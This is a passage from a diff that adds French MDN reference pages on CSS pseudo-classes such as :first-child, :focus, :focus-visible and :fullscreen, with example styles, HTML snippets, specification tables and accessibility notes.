+<pre class="brush: css no-line-numbers">/* Cible n'importe quel élément &lt;p&gt; qui est */
+/* le premier fils de son élément parent */
+p:first-child {
+  color: lime;
+  background-color: black;
+}</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Tel que défini initialement, il était nécessaire que l'élément sélectionné ait un élément parent. À partir de la spécification de niveau 4 pour les sélecteurs, cela n'est plus obligatoire.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Premier_exemple">Premier exemple</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p:first-child {
+  color: lime;
+  background-color: black;
+  padding: 5px;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;Ce paragraphe est mis en forme car c'est un élément
+     p ET que c'est le premier fils de l'élément div.&lt;/p&gt;
+  &lt;p&gt;En revanche, ce paragraphe n'est pas mis en forme
+     car ce n'est pas le premier !&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;h2&gt;Ce titre h2 n'est pas mis en forme car ce n'est pas
+      un paragraphe.&lt;/h2&gt;
+  &lt;p&gt;Et ce paragraphe n'est pas mis en forme car ce n'est pas
+     le premier fils !&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Premier_exemple','100%',300)}}</p>
+
+<h3 id="Utiliser_les_listes_non_ordonnées">Utiliser les listes non ordonnées</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">li{
+  color:blue;
+}
+
+li:first-child{
+  color:green;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Élément 1 de la liste&lt;/li&gt;
+  &lt;li&gt;Élément 2&lt;/li&gt;
+  &lt;li&gt;Élément 3&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utiliser_les_listes_non_ordonnées',300,100)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Les éléments correspondants ne doivent pas avoir nécessairement de parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#first-child', ':first-child')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.first-child")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":last-child")}}</li>
+ <li>{{CSSxRef(":nth-child", ":nth-child()")}}</li>
+ <li>{{cssxref(":last-of-type")}}</li>
+ <li>{{CSSxRef(":-moz-first-node")}} {{Non-standard_Inline}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_first-of-type/index.html b/files/fr/web/css/_colon_first-of-type/index.html
new file mode 100644
index 0000000000..7739d63fd4
--- /dev/null
+++ b/files/fr/web/css/_colon_first-of-type/index.html
@@ -0,0 +1,96 @@
+---
+title: ':first-of-type'
+slug: 'Web/CSS/:first-of-type'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:first-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:first-of-type</code></strong> permet de cibler le premier élément d'un type donné parmi ceux d'un même élément parent (et de même niveau).</p>
+
+<pre class="brush: css no-line-numbers">/* Cible le premier élément &lt;p&gt; d'un type donné */
+/* parmi ses éléments voisins */
+p:first-of-type {
+  color: red;
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Dans la version initiale de la spécification (CSS3), l'élément ciblé devait avoir un parent, ce prérequis a désormais été abandonné (cf. spécification des sélecteurs pour CSS4).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div :first-of-type {
+  background-color: lime;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Voici le premier span !&lt;/span&gt;
+  &lt;span&gt;Un autre span, pas le premier.&lt;/span&gt;
+  &lt;span&gt;Quid de cet &lt;em&gt;élément imbriqué &lt;/em&gt;?&lt;/span&gt;
+  &lt;b&gt;Un autre type d'élément.&lt;/b&gt;
+  &lt;span&gt;Ce type là est déjà apparu.&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<div>{{EmbedLiveSample('Exemples','100%', '120')}}</div>
+
+<div class="note">
+<p><strong>Note </strong><strong>:</strong> On peut voir ici que c'est le sélecteur universel qui est pris en compte quand aucun sélecteur simple n'est écrit directement avec la pseudo-classe.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Les modifications de styles s'appliquent également aux éléments imbriqués, vous pouvez essayer de modifier l'exemple précédent pour cibler le <code>&lt;div&gt;</code>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Les éléments ciblés ne doivent pas nécessairement avoir de parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.first-of-type")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":nth-of-type")}},</li>
+ <li>{{cssxref(":last-of-type")}}</li>
+ <li>{{cssxref(":first-child")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_first/index.html b/files/fr/web/css/_colon_first/index.html
new file mode 100644
index 0000000000..336d6c6fad
--- /dev/null
+++ b/files/fr/web/css/_colon_first/index.html
@@ -0,0 +1,100 @@
+---
+title: ':first'
+slug: 'Web/CSS/:first'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:first'
+---
+<div>{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:first</code></strong>, liée à la règle @ {{cssxref("@page")}} décrit la mise en forme de la première page lors de l'impression d'un document. ( voir {{cssxref(":first-child")}} pour le premier élément d'un noeud )</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Cible le contenu de la première page */
+/* lorsqu'on imprime */
+@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}</pre>
+
+<p>Seul un sous-ensemble restreint de propriétés peut être modifié via cette pseudo-classe :</p>
+
+<ul>
+ <li>Les propriétés liées aux marges : {{cssxref("margin")}}</li>
+ <li>Les propriétés liées aux lignes veuves et orphelines : {{cssxref("orphans")}} et {{cssxref("widows")}}</li>
+ <li>Les propriétés liées aux sauts de page : {{cssxref("page-break")}}</li>
+</ul>
+
+<p>De plus, seules <a href="/fr/docs/Web/CSS/length#Unités_de_longueur_absolues">les unités absolues</a> peuvent être utilisées pour les marges.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}
+
+p {
+  page-break-after: always;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Première page.&lt;/p&gt;
+&lt;p&gt;Deuxième page.&lt;/p&gt;
+&lt;button&gt;Imprimer&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">document.querySelector("button").addEventListener('click', () =&gt; {
+  window.print();
+});</pre>
+
+<p>Appuyez sur le bouton "Imprimer!" pour imprimer l'exemple. Les mots sur la première page doivent être quelque part autour du centre, tandis que les autres pages auront leur contenu à la position par défaut.</p>
+
+<p>{{EmbedLiveSample("Exemples","80%","150px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#left-right-first', ':first')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#page-selectors', ':first')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.first")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("@page")}}</li>
+ <li>{{cssxref(":left")}}</li>
+ <li>{{cssxref(":right")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_focus-visible/index.html b/files/fr/web/css/_colon_focus-visible/index.html
new file mode 100644
index 0000000000..7e3bde9044
--- /dev/null
+++ b/files/fr/web/css/_colon_focus-visible/index.html
@@ -0,0 +1,137 @@
+---
+title: ':focus-visible'
+slug: 'Web/CSS/:focus-visible'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:focus-visible'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La pseudo-classe <strong><code>:focus-visible</code></strong> s'applique lorsqu'un élément correspond à la pseudo-classe {{cssxref("focus")}} et que l'agent utilisateur détermine, via une heuristique, que le focus devrait être mis en évidence sur l'élément (la plupart des navigateurs affichent un contour en surbrillance par défaut).</p>
+
+<p>Ce sélecteur peut être utile afin de fournir un indicateur de focus différent selon le mode de navigation de l'utilisateur (souris ou clavier).</p>
+
+<p>On notera que Firefox prend en charge cette fonctionnalité via une ancienne pseudo-classe préfixée  <code>:-moz-focusring</code>. Voir la page {{cssxref(":-moz-focusring")}} pour plus d'informations.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>:focus-visible</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<p>Dans cet exemple, le sélecteur <code>:focus-visible</code> utilise le comportement de l'agent utilisateur afin de déterminer lorsqu'il doit s'appliquer. Pour utiliser l'exemple, comparez ce qui se produit selon que vous utilisez une souris ou un clavier et notez la différence avec les éléments ciblés par <code>:focus</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;input value="Styles par défaut"&gt;&lt;br&gt;
+&lt;button&gt;Styles par défaut&lt;/button&gt;&lt;br&gt;
+&lt;input class="focus-only" value=":focus only"&gt;&lt;br&gt;
+&lt;button class="focus-only"&gt;:focus only&lt;/button&gt;&lt;br&gt;
+&lt;input class="focus-visible-only" value=":focus-visible only"&gt;&lt;br&gt;
+&lt;button class="focus-visible-only"&gt;:focus-visible only&lt;/button&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">input, button {
+  margin: 10px;
+}
+
+.focus-only:focus {
+  outline: 2px solid black;
+}
+
+.focus-visible-only:focus-visible {
+  outline: 4px dashed darkorange;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Exemple_simple', '100%', '300')}}</p>
+
+<h3 id="Choisir_d'afficher_l’indicateur_de_focus">Choisir d'afficher l’indicateur de focus</h3>
+
+<p>Un contrôle personnalisé (par exemple un bouton provenant d'un <em><a href="/fr/docs/Web/Web_Components/Using_custom_elements">custom element</a></em>) peut utiliser <code>:focus-visible</code> afin d'appliquer ou non un indicateur de focus pour la navigation au clavier afin de calquer au comportement natif de {{htmlelement("button")}}.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;custom-button tabindex="0" role="button"&gt;Cliquez-moi&lt;/custom-button&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">custom-button {
+  display: inline-block;
+  margin: 10px;
+}
+
+custom-button:focus {
+  /* Fournir une alternative pour les navigateurs
+     qui ne prennent pas en charge :focus-visible */
+  outline: none;
+  background: lightgrey;
+}
+
+custom-button:focus:not(:focus-visible) {
+  /* Retirer l'indicateur de focus à la souris
+     pour les navigateurs qui prennent en charge :focus-visible */
+  background: transparent;
+}
+
+custom-button:focus-visible {
+  /* Dessiner un contour pour les navigateurs qui
+     prennent en charge :focus-visible lorsque la
+     navigation est au clavier */
+  outline: 4px dashed darkorange;
+  background: transparent;
+}</pre>
+
+<p>{{EmbedLiveSample("Choisir_d'afficher_l’indicateur_de_focus", '100%', '300')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Troubles_de_la_vision">Troubles de la vision</h3>
+
+<p>Il faut s'assurer que l'indicateur visuel de focus puisse être vu par des personnes ayant une vision faible. Cela pourra d'autant plus bénéficier aux personnes qui consultent le document dans un endroit fortement éclairé (dehors au soleil par exemple). La recommandation <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a> nécessite un contraste minimum de 3 à 1.</p>
+
+<ul>
+ <li>Indicateurs visuels de focus accessibles : <a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Conseils sur la conception d'indicateurs utiles et utilisables (en anglais)</a></li>
+</ul>
+
+<h3 id="Troubles_cognitifs">Troubles cognitifs</h3>
+
+<p>L'apparition ou la disparition d'un indicateur de focus peut être source de confusion pour les personnes souffrant de troubles cognitifs ou pour les personnes qui ne sont pas habituées à ces interfaces.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-focus-visible-pseudo", ":focus-visible")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>{{Compat("css.selectors.focus-visible")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":focus")}}</li>
+ <li>{{cssxref(":focus-within")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_focus-within/index.html b/files/fr/web/css/_colon_focus-within/index.html
new file mode 100644
index 0000000000..bb01fcfbf5
--- /dev/null
+++ b/files/fr/web/css/_colon_focus-within/index.html
@@ -0,0 +1,96 @@
+---
+title: ':focus-within'
+slug: 'Web/CSS/:focus-within'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:focus-within'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:focus-within</code></strong> s'applique à tous les éléments pour lesquels la pseudo-classe {{cssxref(":focus")}} s'applique ainsi qu'à tous leurs éléments descendants, y compris ceux du <em>Shadow DOM</em>. Autrement dit, cette pseudo-classe s'applique lorsqu'un élément a reçu le focus via le clavier ou la souris (par exemple lorsqu'on clique sur un champ d'un formulaire).</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel &lt;div&gt; lorsqu'un */
+/* de ses descendants a reçu le focus */
+div:focus-within {
+  background: yellow;
+}</pre>
+
+<p>Cette pseudo-classe s'applique également aux descendants de l'élément ciblé ainsi qu'aux descendants dont la racine est la racine d'un arbre du {{Glossary("Shadow DOM")}}.</p>
+
+<p>Ce sélecteur est notamment utile lorsqu'on veut, par exemple, mettre en avant l'ensemble d'un formulaire lorsque l'utilisateur passe le focus sur l'un de ses éléments {{HTMLElement("input")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.name-container {
+  padding: 4px;
+}
+
+.name-container:focus-within {
+  background: yellow;
+}
+
+input {
+  margin: 4px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  L'élément div ci-après aura un fond jaune
+  si l'un des deux champs de saisie a le focus.
+&lt;/p&gt;
+&lt;div class="name-container"&gt;
+  &lt;label for="prenom"&gt;
+    Prénom :
+    &lt;input id="prenom" placeholder="Prénom" type="text"&gt;
+  &lt;/label&gt;
+  &lt;label for="nom"&gt;
+    Nom :
+    &lt;input id="nom" placeholder="Nom" type="text"&gt;
+  &lt;/label&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 500, 150)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-focus-within-pseudo", ":focus-within")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.selectors.focus-within")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":focus")}}</li>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_focus/index.html b/files/fr/web/css/_colon_focus/index.html
new file mode 100644
index 0000000000..894676ea2f
--- /dev/null
+++ b/files/fr/web/css/_colon_focus/index.html
@@ -0,0 +1,110 @@
+---
+title: ':focus'
+slug: 'Web/CSS/:focus'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:focus'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:focus</code></strong> permet de cibler un élément lorsque celui-ci reçoit le focus (soit il est sélectionné à l'aide du clavier, soit il est activé avec la souris comme par exemple le champ d'un formulaire).</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel élément &lt;input&gt; */
+/* uniquement lorsqu'il a le focus */
+input:focus {
+  color: red;
+}</pre>
+
+<p>Cette pseudo-classe ne s'applique qu'aux éléments avec le focus, elle ne s'applique pas à ses parents (comme {{cssxref(":checked")}}, {{cssxref(":enabled")}} mais pas comme {{cssxref(":active")}} ou {{cssxref(":hover")}}).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.prenom:focus {
+  background: yellow;
+  color: red;
+}
+
+.nom:focus {
+  background: yellow;
+  color: lime;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input class="prenom" value="Rouge si focus"&gt;
+&lt;input class="nom" value="Vert si focus"&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', 40)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Il faut s'assurer que l'indicateur visuel de focus puisse être vu par des personnes ayant une vision faible. Cela pourra d'autant plus bénéficier aux personnes qui consultent le document dans un endroit fortement éclairé (dehors au soleil par exemple). La recommandation <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a> nécessite un contraste minimum de 3 à 1.</p>
+
+<ul>
+ <li>Indicateurs visuels de focus accessibles : <a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Conseils sur la conception d'indicateurs utiles et utilisables (en anglais)</a></li>
+</ul>
+
+<h3 id="focus_outline_none"><code>:focus { outline: none; }</code></h3>
+
+<p>Il ne faut jamais retirer l'indicateur de focus sans le remplacer par un autre indicateur qui respecte la recommandation <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a> :</p>
+
+<ul>
+ <li><a href="https://a11yproject.com/posts/never-remove-css-outlines/">Ne jamais retirer les bordures/contours CSS (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-focus', ':focus')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition de la sémantique relative à HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#focus-pseudo', ':focus')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':focus')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':focus')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.focus")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+ <li>{{cssxref(":focus-within")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_fullscreen/index.html b/files/fr/web/css/_colon_fullscreen/index.html
new file mode 100644
index 0000000000..48f221600c
--- /dev/null
+++ b/files/fr/web/css/_colon_fullscreen/index.html
@@ -0,0 +1,93 @@
+---
+title: ':fullscreen'
+slug: 'Web/CSS/:fullscreen'
+tags:
+  - CSS
+  - Fullscreen API
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:fullscreen'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:fullscreen</code></strong> permet de cibler tout élément qui est en mode plein écran. Si plusieurs éléments ont été mis en plein écran, tous ces éléments seront ciblés.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Notes_dutilisation">Notes d'utilisation</h2>
+
+<p>La pseudo-classe <code>:fullscreen</code> permet de configurer la taille, le style ou la disposition du contenu lorsque les éléments passent de l'état plein écran à l'état normal et vice versa.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on change la couleur d'un bouton selon que le document est en plein écran ou non. On n'utilise pas JavaScript pour changer les styles.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>On utilise deux règles. La première qui permet de définir la couleur d'arrière plan pour le bouton « Passer en mode plein écran » lorsque l'élément n'est pas en plein écran. Pour distinguer ce cas, on utilise <code>:not(:fullscreen)</code>, qui permet de cibler les éléments qui n'ont pas la pseudo-classe <code>:fullscreen</code>.</p>
+
+<pre class="brush: css">#fs-toggle:not(:fullscreen) {
+  background-color: #afa;
+}
+</pre>
+
+<p>Lorsque le document est en mode plein écran, on utilise cette fois-ci la pseudo-classe <code>:fullscreen</code> et on définit une autre couleur (ici un rouge pâle).</p>
+
+<pre class="brush: css">#fs-toggle:fullscreen {
+  background-color: #faa;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h1&gt;MDN Web Docs Demo: :fullscreen pseudo-class&lt;/h1&gt;
+
+&lt;p&gt;This demo uses the &lt;code&gt;:fullscreen&lt;/code&gt; pseudo-class to automatically
+  change the style of a button used to toggle full-screen mode on and off,
+  entirely using CSS.&lt;/p&gt;
+
+&lt;button id="fs-toggle"&gt;Toggle Fullscreen&lt;/button&gt;</pre>
+
+<p>Dans ce fragment de code HTML, c'est l'élément {{HTMLElement("button")}} avec l'identifiant <code>"fs-toggle"</code> qui changera d'une couleur à une autre selon que le document est en plein écran ou non.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#:fullscreen-pseudo-class', ':fullscreen')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.fullscreen")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Fullscreen_API">L'API Fullscreen</a></li>
+ <li><a href="/fr/docs/Web/API/Fullscreen_API/Guide">Le guide de l'API Fullscreen</a></li>
+ <li>{{cssxref("::backdrop")}}</li>
+ <li>Les API DOM :
+  <ul>
+   <li>{{domxref("Element.requestFullscreen()")}},</li>
+   <li>{{domxref("Document.exitFullscreen()")}},</li>
+   <li>{{domxref("Document.fullscreenElement")}}</li>
+  </ul>
+ </li>
+ <li>L'attribut {{HTMLAttrXRef("allowfullscreen", "iframe")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_has/index.html b/files/fr/web/css/_colon_has/index.html
new file mode 100644
index 0000000000..ae987efbd4
--- /dev/null
+++ b/files/fr/web/css/_colon_has/index.html
@@ -0,0 +1,69 @@
+---
+title: ':has'
+slug: 'Web/CSS/:has'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-classe
+  - Reference
+  - Sélecteur
+translation_of: 'Web/CSS/:has'
+---
+<div>{{CSSRef}}</div>
+
